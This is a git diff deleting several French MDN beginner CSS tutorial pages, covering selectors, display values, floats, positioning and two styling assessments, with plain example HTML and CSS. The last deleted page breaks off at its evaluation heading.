diff --git "a/files/fr/apprendre/css/introduction_\303\240_css/fundamental_css_comprehension/index.html" "b/files/fr/apprendre/css/introduction_\303\240_css/fundamental_css_comprehension/index.html" deleted file mode 100644 index 12a6be6d0c..0000000000 --- "a/files/fr/apprendre/css/introduction_\303\240_css/fundamental_css_comprehension/index.html" +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Compréhension des fondements des CSS -slug: Apprendre/CSS/Introduction_à_CSS/Fundamental_CSS_comprehension -tags: - - CSS - - Codage - - Commentaires - - Débutant - - Evaluation - - Règles - - Style - - Syntaxe - - Sélecteurs - - modèle de boîte -translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Apprendre/CSS/Introduction_à_CSS")}}
- -

Beaucoup de choses ont été passées en revue dans ce module, donc il est bon d'avoir atteint la fin ! La dernière étape avant de passer à la suite est de tenter une évaluation sur les thèmes de ce module — elle comprend un certain nombre d'exercices connexes à compléter pour créer la composition finale — une carte de visite / carte de joueur / un profil de média social.

- - - - - - - - - - - - -
Prérequis :Avant de vous lancer dans cet exercice vous devez avoir déja travaillé l'ensemble des articles de ce module.
Objectif :Tester votre compréhension des fondements de la théorie, de la syntaxe et des mécanismes des CSS.
- -

Point de départ

- -

Pour demarrer cet exercice, vous devez :

- - - -
-

Note : À défaut, vous pouvez utiliser un site comme JSBin ou Thimble pour faire votre exercice. Collez le HTML et complétez la CSS dans un de ces éditeurs en ligne. Utilisez cet URL pour faire pointer l'élément <img> sur le fichier correspondant. Si l'éditeur en ligne que vous utilisez ne comporte pas de panneau séparé pour la CSS, mettez‑le dans un élément <style> dans l'élément head du document.

-
- -

Énoncé du projet

- -

Avec le HTML brut et une image, vous devez écrire le CSS voulu pour composer une jolie petite carte de visite en ligne ; elle pourrait aussi peut‑être servir de carte de joueur ou de profil de média social. Les paragraphes suivants indiquent ce que vous devez faire.

- -

Construction de base :

- - - -

Considérations sur les sélecteurs et les jeux de règles founis dans le fichier des ressources CSS :

- - - -

Nouveaux jeux de règles à écrire :

- - - -
-

Note : Gardez présent à l'esprit que le 2e jeu de règles définit font-size: 10px; pour l'élément <html> — cela signifie que pour tous les enfants de <html>, un em vaudra 10px et non 16px comme c'est le cas par défaut (ceci bien sûr, à condition que les enfants en question n'aient pas de parents ayant un font-size différent placés entre eux et <html> dans la hiérarchie. Les valeurs dont vous avez besoin pourraient en être affectées, bien que dans cet exemple simple, ce ne soit pas un problème).

-
- -

Autres choses à prendre en considération :

- - - -

Conseils et astuces

- - - -

Exemple

- -

La capture d'écran suivante montre un exemple de ce à quoi devrait ressembler la composition terminée :

- -

A view of the finished business card, show a reader header and footer, and a darker center panel containing the main details and image.

- -

 

- -

Évaluation

- -

Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur  le fil de discussion à propos de cet exercise ou par l'intermédiaire du canal IRC #mdn sur Mozilla IRC. Faites l'exercice d'abors, il n'y rien à gagner en trichant !

- -

{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Apprendre/CSS/Introduction_à_CSS")}}

- -

 

- -

Dans ce module

- - diff --git "a/files/fr/apprendre/css/introduction_\303\240_css/la_disposition/index.html" "b/files/fr/apprendre/css/introduction_\303\240_css/la_disposition/index.html" deleted file mode 100644 index 526af5a0b0..0000000000 --- "a/files/fr/apprendre/css/introduction_\303\240_css/la_disposition/index.html" +++ /dev/null @@ -1,404 +0,0 @@ ---- -title: La disposition en CSS -slug: Apprendre/CSS/Introduction_à_CSS/La_disposition -tags: - - Apprendre - - CSS -translation_of: Learn/CSS/CSS_layout/Introduction -translation_of_original: Learn/CSS/Basics/Layout ---- -

{{PreviousNext("Apprendre/CSS/Les_bases/Le_modèle_de_boîte","Apprendre/CSS/Comment/Mettre_en_forme_du_texte")}}

- -

Pour organiser un document en positionnant ses éléments pour que la forme corresponde aux spécifications, on utilisera différentes propriétés CSS afin d'organiser la disposition des élément. CSS fournit de nombreux mécanismes pour organiser la disposition du contenu d'un document et les techniques modernes sont suffisamment complexes pour être décrites dans des articles séparés. Dans cet article, nous verrons les techniques de base, utilisées depuis plusieurs années.

- -

Pour organiser correctement la disposition d'un document avec CSS, il y a quelques notions qu'il est préférable de connaître. Le concept le plus important est le flux du texte {{Glossary("HTML")}} et les façons dont on peut le modifier. Ces concepts clés sont essentiels et tous les mécanismes liés à la disposition feront référence à ce qui est expliqué ici..

- -

Le flux

- -

Simplifié à l'extrême, un document HTML est un document texte organisé avec des {{Glossary("balise","balises")}}. Dans un tel document, le texte « coule » sur les différentes lignes. Autrement dit, le texte est affiché dans le sens de lecture (de gauche à droite pour les langages latins comme le français ou l'italien) et est fragmenté automatiquement pour passer à la ligne à chaque fois que le texte atteint le bord du document.

- -

- -

- -

Chaque {{Glossary("élément")}} du document pourra modifier ce flux de texte :

- - - -

Les catégories d'affichage des éléments

- -

CSS est utilisé pour définir la façon dont un élément HTML se comporte dans ce flux et comment il s'y inscrit. Le comportement d'un élément est défini avec la propriété {{cssxref('display')}}. Cette propriété peut prendre plusieurs valeurs mais voyons ici les quatre valeurs les plus importantes :

- -
-
none
-
Cette valeur retire l'élément du flux, comme si l'élément et son contenu n'existaient pas.
-
inline
-
Cette valeur rend l'élément transparent au sens où il s'inscrit dans le flux de texte global, il est donc associé au texte l'environnant.
-
block
-
Cette valeur cassera le flux de texte pour insérer l'élément. Cela provoquera donc un saut de ligne avant et après. Le contenu de cet élément ne fait donc pas partie du flux global et suit donc les contraintes de l'élément définies par le modèle de boîte.
-
inline-block
-
Cette valeur est en quelque sorte un intermédiaire entre inline et block. Comme avec inline, les boîtes seront placées dans le flux global mais , comme avec block, le contenu ne fera pas partie du texte environnant..
-
- -

Prenons un exemple.

- -

Voici le code HTML qui sera utilisé :

- -
<p class="none">
-  1. Je suis un chat noir,
-  <span>qui marche sous l'échelle </span>
-  et qui casse des miroirs.
-</p>
-
-<p class="inline">
-  2. Je suis un chat noir,
-  <span>qui marche sous l'échelle </span>
-  et qui casse des miroirs.
-</p>
-
-<p class="block">
-  3. Je suis un chat noir,
-  <span>wqui marche sous l'échelle </span>
-  et qui casse des miroirs.
-</p>
-
-<p class="inline-block">
-  4. Je suis un chat noir,
-  <span>qui marche sous l'échelle </span>
-  et qui casse des miroirs.
-</p>
-
- -

On appliquera la feuille de style CSS suivante :

- -
span {
-  width: 5em;
-  background: yellow;
-}
-
-.none span         { display: none;         }
-.inline span       { display: inline;       }
-.block span        { display: block;        }
-.inline-block span { display: inline-block; }
- -

Cela fournira le résultat suivant :

- -

{{EmbedLiveSample("Les_catégories_d'affichage_des_éléments", '100%', '300px')}}

- -

Modifier le flux

- -

En utilisant la propriété display, vous pouvez déjà modifier le flux. Il est toutefois possible d'aller plus loin.

- -

La disposition du texte

- -

En fin de compte, un document n'est qu'un long flux de texte et CSS fournit de nombreuses propriétés pour gérer la disposition du texte. La disposition du texte regroupe tout ce qui touche aux règles des sauts de ligne et à la façon dont le texte est positionné par rapport à la ligne de base naturelle.

- -

Ces propriétés sont : {{cssxref("hyphens")}}, {{cssxref("text-align")}}, {{cssxref("text-align-last")}}, {{cssxref("text-indent")}}, {{cssxref("vertical-align")}}, {{cssxref("white-space")}}, {{cssxref("word-break")}} et {{cssxref("word-wrap")}}.

- -

À l'exception de text-align et de text-indent, les autres propriétés ont des effets plutôt subtils sur le texte. Quant à vertical-align, il est souvent utilisé avec des boîtes en mode inline-block.

- -

Là encore, un exemple vaut mieux qu'un long discours.

- -

HTML :

- -
<p lang="en">WHEN Scrooge awoke, it was so dark, that looking out of bed, he could scarcely distinguish the transparent window from the opaque walls of his chamber. He was endeavouring to pierce the darkness with his ferret eyes, when the chimes of a neighbouring church struck the four quarters. So he listened for the hour. To his great astonishment the heavy bell went on from six to seven, and from seven to eight, and regularly up to twelve; then stopped. Twelve! It was past two when he went to bed. The clock was wrong. An icicle must have got into the works. Twelve! He touched the spring of his repeater, to correct this most preposterous clock. Its rapid little pulse beat twelve: and stopped.</p>
-<p class="format" lang="en">WHEN Scrooge awoke, it was so dark, that looking out of bed, he could scarcely distinguish the transparent window from the opaque walls of his chamber. He was endeavouring to pierce the darkness with his ferret eyes, when the chimes of a neighbouring church struck the four quarters. So he listened for the hour. To his great astonishment the heavy bell went on from six to seven, and from seven to eight, and regularly up to twelve; then stopped. Twelve! It was past two when he went to bed. The clock was wrong. An icicle must have got into the works. Twelve! He touched the spring of his repeater, to correct this most preposterous clock. Its rapid little pulse beat twelve: and stopped.</p>
-
- -

CSS :

- -
.format {
-  /* On « tire » la première ligne sur
-     une distance de 2em */
-  text-indent: -2em;
-
-  /* Il faut compenser l'indentation négative
-     si on veut éviter que du texte saute et
-     pour garder l'ensemble du texte dans la
-     boîte de l'élément */
-  padding-left: 2em;
-
-  /* Le texte est aligné par rapport aux deux
-     bords et l'espace entre les mots est ajusté
-     pour le remplissage de la ligne */
-  text-align: justify;
-
-  /* La dernière ligne de texte du bloc est
-     centrée*/
-  -moz-text-align-last: center;
-       text-align-last: center;
-
-  /* Plutôt que le saut de ligne se fasse entre deux mots,
-     il peut être fait en découpant un mot, selon les règles
-     de la langue utilisée. Cela permet de découper le texte
-     clairement avec un trait d'union. Si cela ne vous
-     importe pas, vous pouvez utiliser word-break ou
-     word-wrap à la place  */
-  -webkit-hyphens: auto;
-     -moz-hyphens: auto;
-      -ms-hyphens: auto;
-          hyphens: auto;
-}
- -
-

Note : Comme vous avez pu le voir, certaines propriétés sont écrites plusieurs fois avec un préfixe. Certaines propriétés sont expérimentales pour certains navigateurs et doivent donc être préfixées, c'est une bonne pratique que de les utiliser préfixées tant qu'elles sont expérimentales, tout en fournissant le nom de la propriété standard à la fin afin d'avoir la meilleure rétrocompatibilité possible.

-
- -

Le résultat obtenu sera :

- -

{{EmbedLiveSample('La_disposition_du_texte', '100%', '350')}}

- -
-

Note : L'astuce utilisée pour compenser l'indentation négative est une astuce assez courante. Tout propriété qui accepte une longueur peut accepter une valeur négative. En jouant avec les valeurs négatives et en les compensant avec d'autres propriétés, il est possible de produire des effets visuels très intéressants, notamment quand on manipule les propriétés liées au modèle de boîte.

-
- -

Le flottement

- -

C'est une chose que de gérer du texte mais on va également vouloir positionner une boîte dans le document. Pour commencer, il faut gérer les boîtes flottantes. Les boîtes flottantes sont toujours attachées au flux global de texte mais le texte « coulera » autour. Si cela vous paraît, prenons un exemple.

- -

Le flottement simple

- -

HTML :

- -
<div>
-  <p class="excerpt">"Why, it isn't possible," said Scrooge, "that I can have slept through a whole day and far into another night. It isn't possible that anything has happened to the sun, and this is twelve at noon!" </p>
-  <p> The idea being an alarming one, he scrambled out of bed, and groped his way to the window. He was obliged to rub the frost off with the sleeve of his dressing-gown before he could see anything; and could see very little then. All he could make out was, that it was still very foggy and extremely cold, and that there was no noise of people running to and fro, and making a great stir, as there unquestionably would have been if night had beaten off bright day, and taken possession of the world. This was a great relief, because "three days after sight of this First of Exchange pay to Mr. Ebenezer Scrooge or his order," and so forth, would have become a mere United States' security if there were no days to count by.</p>
-</div>
- -

CSS :

- -
.excerpt {
-  /* Une boîte flottante agira comme un bloc
-     quelle que soit la valeur de display */
-  display: block;
-
-  /* La boîte flottera à gauche ce qui signifie
-     qu'elle sera sur la partie gauche du bloc
-     englobant et que le texte « coulera » sur sa
-     droite. */
-  float: left;
-
-  /* Il est nécessaire de déclarer une largeur pour
-     une boîte flottante. Si on ne le fait pas, la
-     largeur sera calculée automatiquement et occupera
-     autant d'espace que possible. Cela aurait eu le
-     même effet qu'un bloc ordinaire. */
-  width: 40%;
-
-  /* On définit une marge à droite et en bas pour éviter
-     que le texte qui flotte autour soit collé à celui de
-     la boîte */
-  margin: 0 1em 1em 0;
-
-  /* On rend la boîte flottante plus visible avec une
-     oucleur d'arrière-plan */
-  background: lightgrey;
-
-  /* Puisque l'arrière-plan est opaque, on ajoute un écart
-     entre le contenu et les bords de la boîte */
-  padding: 1em;
-}
- -

Ces éléments permettront d'avoir :

- -

{{ EmbedLiveSample('Le_flottement_simple', '100%', '280') }}

- -

Organiser une disposition avec le flottement

- -

La méthode précédente est simple et illustre comment manipuler le flux. Il est possible d'aller plus loin et d'organiser l'ensemble de la disposition du document avec. Les boîtes flottantes dans une direction donnée s'empilent horizontalement, cela permet de créer très facilement des lignes de boîtes. Les boîtes qui sont des blocs forment s'empilent elles sous forme de colonnes.

- -

Là encore, illustrons le point avec un exemple.

- -

HTML :

- -
<div class="layout">
-  <div class="row">
-    <p class="cell size50">Scrooge went to bed again, and thought, and thought, and thought it over and over and over, and could make nothing of it. The more he thought, the more perplexed he was; and the more he endeavoured not to think, the more he thought.</p>
-    <p class="cell size50">Marley's Ghost bothered him exceedingly. Every time he resolved within himself, after mature inquiry, that it was all a dream, his mind flew back again, like a strong spring released, to its first position, and presented the same problem to be worked all through, "Was it a dream or not?"</p>
-  </div>
-  <div class="row">
-    <p class="cell size100">Scrooge lay in this state until the chime had gone three quarters more, when he remembered, on a sudden, that the Ghost had warned him of a visitation when the bell tolled one. He resolved to lie awake until the hour was passed; and, considering that he could no more go to sleep than go to Heaven, this was perhaps the wisest resolution in his power.</p>
-  </div>
-  <div class="row">
-    <p class="cell size33">The quarter was so long, that he was more than once convinced he must have sunk into a doze unconsciously, and missed the clock. At length it broke upon his listening ear.</p>
-    <p class="cell size33">
-      "Ding, dong!"<br>
-      "A quarter past," said Scrooge, counting.<br>
-      "Ding, dong!"<br>
-      "Half-past!" said Scrooge.<br>
-      "Ding, dong!"<br>
-      "A quarter to it," said Scrooge.
-    </p>
-    <p class="cell size33">
-      "Ding, dong!"<br>
-      "The hour itself," said Scrooge, triumphantly, "and nothing else!"<br>
-      He spoke before the hour bell sounded, which it now did with a deep, dull, hollow, melancholy ONE. Light flashed up in the room upon the instant, and the curtains of his bed were drawn.
-    </p>
-  </div>
-</div>
- -

CSS :

- -
/* Le conteneur principal pour la disposition */
-.layout {
-  /* On ajoute un arrière-plan pour le rendre
-     visible */
-  background: lightgrey;
-
-  /* On ajoute un léger interstice pour harmoniser
-     la distance entre le contenu des cellules et
-     la bordure du conteneur principal */
-  padding   : 0.5em;
-}
-
-/* Ici, on empêche les boîtes flottantes de
-   dépasser d'un conteneur (ce qui peut arriver
-   si le conteneur est vide car il aura alors
-   une hauteur nulle). Avec overflow
-   hidden, la boîte flottante ne passera pas à
-   travers et la boîte parente sera agrandie
-   pour éviter un dépassement de la boîte.  */
-.row {
-  overflow: hidden;
-}
-
-/* Chaque cellule sera une boîte flottante à gauche */
-.cell {
-  float : left;
-
-  /* On ajoute du padding pour créer un écart visuel
-     entre les cellules */
-  padding   : 0.5em;
-
-  /* Étant donné qu'on ajoute du padding, il faut
-     s'assurer que cela ne touchera pas la largeur
-     de la boîte. */
-  box-sizing: border-box;
-
-  /* Comme la marge ne peut pas être contrôlée par
-     la propriété box-sizing, on s'assure d'en
-     avoir aucune appliquée ici. */
-  margin    : 0;
-}
-
-/* Voici les tailles appliquées aux boîtes */
-.size33  { width:  33%; } /* Pas un tiers mais presque */
-.size50  { width:  50%; } /* Une moitié */
-.size100 { width: 100%; } /* Une ligne */
- -

Cela donnera le résultat suivant :

- -

{{EmbedLiveSample('Organiser_une_disposition_avec_le_flottement', '100%', '520')}}

- -

De nombreux frameworks CSS utilisent ces méthodes de boîtes flottantes. C'est une technique robuste et connue mais qui a ses limites : tout doit être géré avec le flux, il n'est pas possible de gérer un ordre arbitraire pour les boîtes, de gérer des dimensionnements variables et il est impossible de centrer verticalement des éléments. Nous vous encourageons à poursuivre la réflexion, les boîtes flottantes sont étudiées depuis longtemps (article en anglais) et constituent une des solutions les plus robustes pour gérer une disposition simple, compatible avec les navigateurs historiques.

- -

Si vous souhaitez en savoir plus sur les subtilités des boîtes flottantes, nous vous invitons à lire All about float (en anglais) par Chris Coyer.

- -

Le positionnement

- -

Si les boîtes flottantes font partie du flux, il existe un autre mécanisme qui permet d'organiser une disposition en extrayant les boîtes du flux : le positionnement CSS. Le positionnement fonctionne en définissant un contexte de positionnement grâce à la propriété {{cssxref("position")}} puis en permettant aux boites de se positionner en utilisant les propriétés {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}}.

- -

La propriété {{cssxref("position")}} peut prendre quatre valeurs différentes :

- -
-
static
-
La valeur par défaut pour tous les éléments : ils font partie du flux et on ne définit pas un contexte de positionnement spécifique.
-
relative
-
Avec cette valeur, les éléments font toujours partie du flux mais peuvent être déplacés visuellement avec les valeurs des propriétés {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}} et {{cssxref("bottom")}}. Ces propriétés définissent le contexte de positionnement des éléments fils.
-
absolute
-
Avec cette valeur, les éléments ne sont plus placés dans le flux et ne l'influencent plus. La position du bloc est définie avec les propriétés {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}} et {{cssxref("bottom")}}. Le point de position 0,0  représente le coin en haut à gauche de l'élément parent le plus proche qui définit un contexte de positionnement autre que static. S'il n'y a pas de tel parent, la position 0,0 représente le coin en haut à gauche du document.
-
fixed
-
Avec cette valeur, les éléments ne sont plus placés dans le flux et ne l'influencent plus. La position du bloc est définie avec les propriétés {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}}. La position 0,0 représente le coin en haut à gauche de fenêtre du navigateur ({{Glossary("viewport")}}).
-
- -

Les boîtes positionnées de cette façon peuvent s'empiler les unes sur les autres. Dans ce cas, il est possible de changer l'ordre d'empilement grâce à la propriété {{cssxref("z-index")}}.

- -

Une dernière fois, prenons un exemple pour illustrer le concept.

- -

Le code HTML pour le document sera :

- -
<p>
-  The curtains of his bed were drawn aside, I tell you, by a hand. Not the curtains at his feet, nor the curtains at his back, but those to which his face was addressed. The curtains of his bed were drawn aside; and Scrooge, starting up into a half-recumbent attitude, found himself face to face with the unearthly visitor who drew them: as close to it as I am now to you, and I am standing in the spirit at your elbow.
-  <span class="topleft">1</span>
-</p>
-<p class="relative">
-  It was a strange figure--like a child: yet not so like a child as like an old man, viewed through some supernatural medium, which gave him the appearance of having receded from the view, and being diminished to a child's proportion. Its hair, which hung about its neck and down its back, was white as if with age; and yet the face had not a wrinkle in it, and the tenderest bloom was on the skin. The arms were very long and muscular; the hands the same, as if its hold were of uncommon strength. Its legs and feet, most delicately formed, were, like those upper members, bare. It wore a tunic of the purest white; and round its waist was bound a lustrous belt, the sheen of which was beautiful. It held a branch of fresh green holly in its hand; and, in singular contradiction of that wintry emblem, had its dress trimmed with summer flowers. But the strangest thing about it was, that from the crown of its head there sprung a bright clear jet of light, by which all this was visible; and which was doubtless the occasion of its using, in its duller moments, a great extinguisher for a cap, which it now held under its arm.
-  <span class="topleft">2</span>
-  <span class="stackdown">3</span>
-  <span class="stackup">4</span>
-</p>
- -

La feuille de style CSS sera :

- -
p {
-  margin: 1em
-}
-
-span {
-  font       : 2em sans-serif;
-  width      : 6rem;
-
-  /* Avoir la hauteur de l'élément et la hauteur
-     de la ligne avec la même valeur permet de
-     centrer verticalement une ligne de texte. */
-  height     : 6rem;
-  line-height: 6rem;
-
-  text-align : center;
-  background : rgba(0, 255, 255, 0.8);
-}
-
-.relative {
-  position: relative;
-}
-
-/* Tous les éléments de la classe "topleft"
-   sont positionnés dans le coin en haut à
-   gauche de leur parent dans le contexte
-   de positionnement */
-.topleft {
-  position: absolute;
-  top     : 0;
-  left    : 0;
-}
-
-.stackup {
-  position: absolute;
-  top     : 37%;
-  left    : 62%;
-
-  /* Tous les éléments de la classe "stackup"
-     sont placés au-dessus des éléments dont
-     le z-index est inférieur à 2 dans le même
-     contexte de positionnement. */
-  z-index : 2;
-}
-
-.stackdown {
-  position: absolute;
-  top     : 50%;
-  left    : 66%;
-
-  /* Tous les éléments de la classe "stackdown"
-     sont placés sous les éléments dont le
-     z-index est supérieur à 1 dans le même
-     contexte de positionnement. */
-  z-index : 1;
-}
-
- -

La combinaison de ces deux éléments donnera le résultat suivant :

- -

{{EmbedLiveSample('Le_positionnement', '100%', '400')}}

- -

Bien que le positionnement CSS ne soit pas réellement utile pour complètement organiser une disposition, il est généralement judicieux pour obtenir certains effets liés à la navigation, aux bulles d'informations, etc. C'est un mécanisme que vous rencontrerez fréquemment et nous vous encourageons donc à vous familiariser avec. Parmi les ressources qui existent par ailleurs, nous vous conseillons particulièrement de lire l'article CSS positioning 101 (en anglais), de Noah Stokes.

- -

La suite

- -

Le flux, les boîtes flottantes et le positionnement CSS sont les bases qui vous permettront d'approfondir la création d'une disposition en CSS. Suite à cette série d'articles sur les concepts théoriques de CSS, vous connaissez tout ce qu'il faut pour exploiter au mieux CSS. Après ce vernis théorique, vous pouvez aborder les aspects pratiques de CSS. Si vous souhaitez approfondir les concepts sur la disposition et découvrir les autres mécanismes à ce sujet, vous pouvez consulter les articles sur : les tableaux, l'organisation à plusieurs colonnes et la disposition avec les boîtes flexibles (flexbox).

- -

{{PreviousNext("Apprendre/CSS/Les_bases/Le_modèle_de_boîte","Apprendre/CSS/Comment/Mettre_en_forme_du_texte")}}

diff --git "a/files/fr/apprendre/css/les_propri\303\251t\303\251s_css/index.html" "b/files/fr/apprendre/css/les_propri\303\251t\303\251s_css/index.html" deleted file mode 100644 index d3ab8e9794..0000000000 --- "a/files/fr/apprendre/css/les_propri\303\251t\303\251s_css/index.html" +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Les propriétés CSS et comment s'en servir -slug: Apprendre/CSS/Les_propriétés_CSS -tags: - - Beginner - - CSS - - CodingScripting - - NeedsActiveLearning -translation_of: Learn/CSS/Building_blocks/Selectors -translation_of_original: Learn/CSS/CSS_properties ---- -
{{IncludeSubnav("/fr/Apprendre")}}
-
-

{{Glossary("CSS")}} définit l'apparence d'une page web. Il utilise des règles prédéfinies à l'aide de sélecteurs et de propriétés pour appliquer différents styles aux éléments et groupes d'éléments HTML.

-
- - - - - - - - - - - - -
Prérequis :Comprendre les bases de {{Glossary("HTML")}}, des éléments HTML, et comment lier des documents HTML aux feuilles de style CSS.
Objectif :Connaître différents sélecteurs et propriétés CSS afin d'appliquer une mise en forme simple sur une page web.
- -

Séparer le contenu de la mise en forme rend le développement web plus rapide et facile. En définissant la structure du document uniquement dans votre fichier HTML, tandis que les informations de mise en forme sont indiquées pour leur part dans un fichier séparé (appelé feuille de style), vous pouvez mettre à jour la mise en forme de nombreux documents en une seule fois (et en profiter pour économiser des ressources ordinateur en même temps).

- -

La syntaxe CSS fait appel à des mots-clés intuitifs et faciles à utiliser.

- -
p {
-   font-family: "Times New Roman", georgia, sans-serif;
-   font-size: 24px;
-}
- -

Dans l'exemple précédent,  p est un sélecteur qui applique un style à tous les éléments {{HTMLElement("p")}} en même temps. Les propriétés CSS font-family et font-size sont incluses dans des accolades et les valeurs correspondantes, juste après les deux-points, déterminent le style à appliquer.

- -

Il existe plus de 250 propriétés pour mettre en forme votre document. Du texte à la mise en page complexe, (presque) tout est possible.

- -

Pédagogie active

- -

Il n'y a, pour le moment, pas d'apprentissage actif pour cette section. Vous pouvez néanmoins contribuer.

- -

Aller plus loin

- -

Si les propriétés sont plutôt simples à utiliser, il en va parfois autrement des sélecteurs. Ne vous inquiétez pas, ce n'est pas si ardu et les maitriser permet de tirer parti du grand potentiel du CSS. Dans les exemples qui suivent, nous allons faire connaissance avec les sélecteurs les plus courants.

- -

Pour définir une règle CSS, on utilise des sélecteurs qu'on associe à des propriétés. Ces sélecteurs déterminent quels élements vont recevoir les propriétés précisées dans la règle. Notez que plusieurs règles peuvent s'appliquer à un même élément. La cascade CSS (dont on reparlera plus tard) définit alors quelle règle s'appliquera en cas de conflit. Pour l'instant, retenez simplement que la règle contenant les sélecteurs les plus précis prend le dessus sur les règles avec les sélecteurs plus basiques.

- -

Le sélecteur d'élément

- -

Les sélecteurs d'éléments désignent des éléments HTML uniquement par leur nom. De plus, comme tous les sélecteurs CSS, vous pouvez appliquer un ensemble de propriétés communes à plusieurs élements à la fois.

- -

Pour notre premier exemple, intéressons nous au fragment de code HTML suivant :

- -
<h1>Je suis un exemple.</h1>
-<p>Dans cet exemple, je suis un paragraphe.</p>
-<p>Et je suis un second paragraphe.</p>
-
- -

Dans la règle CSS qui suit, le sélecteur d'élement p applique les styles définis à tous les éléments {{HTMLElement("p")}} de notre document HTML simultanément, évitant ainsi d'inutiles répétitions. On utilise la propriété {{cssxref("font-family")}} (qui définit la police avec laquelle le texte apparait) et {{cssxref("font-size")}} (qui définit pour sa part la taille du texte).

- -
p {
-  font-family: "Helvetica", Arial, sans-serif;
-  font-size  : 12px;
-}
- -

La prochaine règle CSS s'applique uniquement à l'élément {{HTMLElement("h1")}}. On fait appel à la propriété {{cssxref("font-size")}} pour que la taille du titre soit deux fois plus grande que celle du texte et à la propriété {{cssxref("font-weight")}} pour qu'il soit également en gras.

- -
h1 {
-  font-size  : 24px;
-  font-weight: bold;
-}
- -

La règle CSS suivante applique les styles demandés à la fois aux éléments {{HTMLElement("h1")}} et aux éléments {{HTMLElement("p")}}, cela permet potentiellement d'éviter des redondances inutiles dans le code. Cette façon de procéder est appelée « groupe de sélecteurs » ou « chaîne de sélecteurs ». Notez qu'un point virgule est nécessaire pour séparer les sélecteurs. Ici nous utilisons la propriété {{cssxref("color")}} pour appliquer la même couleur au texte des h1 et à celui des paragraphes.

- -
h1, p {
-  color: darkmagenta;
-}
- -

Voici le résultat obtenu avec ce code :

- -

{{EmbedLiveSample('Le_sélecteur_d\'élément')}}

- -

Le sélecteur id

- -

L'attribut id d'un élément HTML donné permet d'identifier de façon unique cet élément. Par conséquent, un sélecteur id est utilisé uniquement lorsqu'un ensemble de règles de style s'applique à un seul élement.

- -

Pour notre prochain exemple, prenons le fragment de code HTML suivant :

- -
<p id="coucou">Coucou monde !</p>
- -

La règle CSS suivante s'applique exclusivement à cet élément, identifié et unique. Pour transformer un sélecteur ordinaire en sélecteur id, il suffit de placer un signe dièse (#) devant le nom de l'identifiant (id). Nous faisons appel à trois propriétés : {{cssxref("text-align")}} pour centrer le texte dans le paragraphe,  {{cssxref("border")}} pour encadrer le paragraphe d'un cadre fin, et {{cssxref("padding")}} afin d'ajouter une marge intérieure supplémentaire entre le texte et le cadre.

- -
#coucou {
-  text-align: center;
-  border    : 1px solid black;
-  padding   : 8px;
-}
- -

Voici le résultat final obtenu:

- -

{{EmbedLiveSample('Le_sélecteur_id')}}

- -

Le sélecteur class

- -

À l'intérieur du code HTML, l'attribut class permet de donner des identifiants multiples aux élements HTML. Ces identifiants peuvent ainsi être combinés avec le CSS pour regrouper des élements en fonction de leur nom.

- -

Pour notre prochain exemple, analysez le fragment de code HTML suivant :

- -
<h1 class="coucou">Coucou !</h1>
-<p class="coucou salut">Retrouvons-nous !</p>
-<p class="salut">Et déplaçons des montagnes.</p>
-
- -

Nous allons appliquer une règle CSS à tous les éléments contenant la classe coucou. Pour transformer un sélecteur en sélecteur class, placez simplement un point devant le nom de la classe (de la même manière que nous avions mis un signe dièse dans le cas précédent). Nous utilisons ici la propriété {{cssxref("font-style")}} pour mettre le texte en italique.

- -
.coucou {
-  font-style: italic;
-}
- -

En voici une autre pour tous les éléments avec la classe salut. Ici, nous utilisons la propriété {{cssxref("text-decoration")}} pour barrer le texte d'une ligne.

- -
.salut {
-  text-decoration: line-through;
-}
- -

Voici le résultat obtenu :

- -

{{EmbedLiveSample('Le_sélecteur_class')}}

- -

Prochaines étapes

- -

Nous venons de voir les bases pour commencer en CSS. Vous pouvez maintenant en apprendre davantage sur le formatage du texte ou commencer à explorer nos tutoriels CSS dès maintenant.

diff --git a/files/fr/apprendre/css/styliser_boites/a_cool_looking_box/index.html b/files/fr/apprendre/css/styliser_boites/a_cool_looking_box/index.html deleted file mode 100644 index 05b812da1d..0000000000 --- a/files/fr/apprendre/css/styliser_boites/a_cool_looking_box/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Une boîte d'aspect rafraîchissant -slug: Apprendre/CSS/styliser_boites/A_cool_looking_box -tags: - - Apprentissage - - Arrière‑plans - - Boîte - - CSS - - Débutant - - Evaluation - - effets - - encadrement - - modèle de boîte -translation_of: Learn/CSS/Building_blocks/A_cool_looking_box ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}
- -

Avec cette évaluation, vous obtiendrez une meilleure pratique dans la création de boîtes d'aspect rafraîchissant en faisant en sorte qu'elles attirent le regard.

- - - - - - - - - - - - -
Prérequis :Avant de faire cet exercice vous devez avoir vu tous les articles de ce module.
Objectif :Tester votre compréhension du modèle de boîte CSS et toutes les fonctionnalités associées comme les encadrements et les arrière‑plans.
- -

Départ

- -

Pour débuter, vous devez :

- - - -
-

Note: Autrement, vous pouvez utiliser un site comme  JSBin ou Thimble pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément <style> dans l'élément head du document.

-
- -

Résumé du projet

- -

Votre tâche consiste à créer une boîte élégante et rafraîchissante tout en explorant le côté ludique des CSS.

- -

Généralités

- - - -

Composition de la boîte

- -

Vous devez appliquer un style à l'élément {{htmlelement("p")}} en lui donnant :

- - - -

Exemple

- -

Cette capture d'écran montre un exemple de ce à quoi l'aspect final pourrait ressembler :

- -

- -

Évaluation

- -

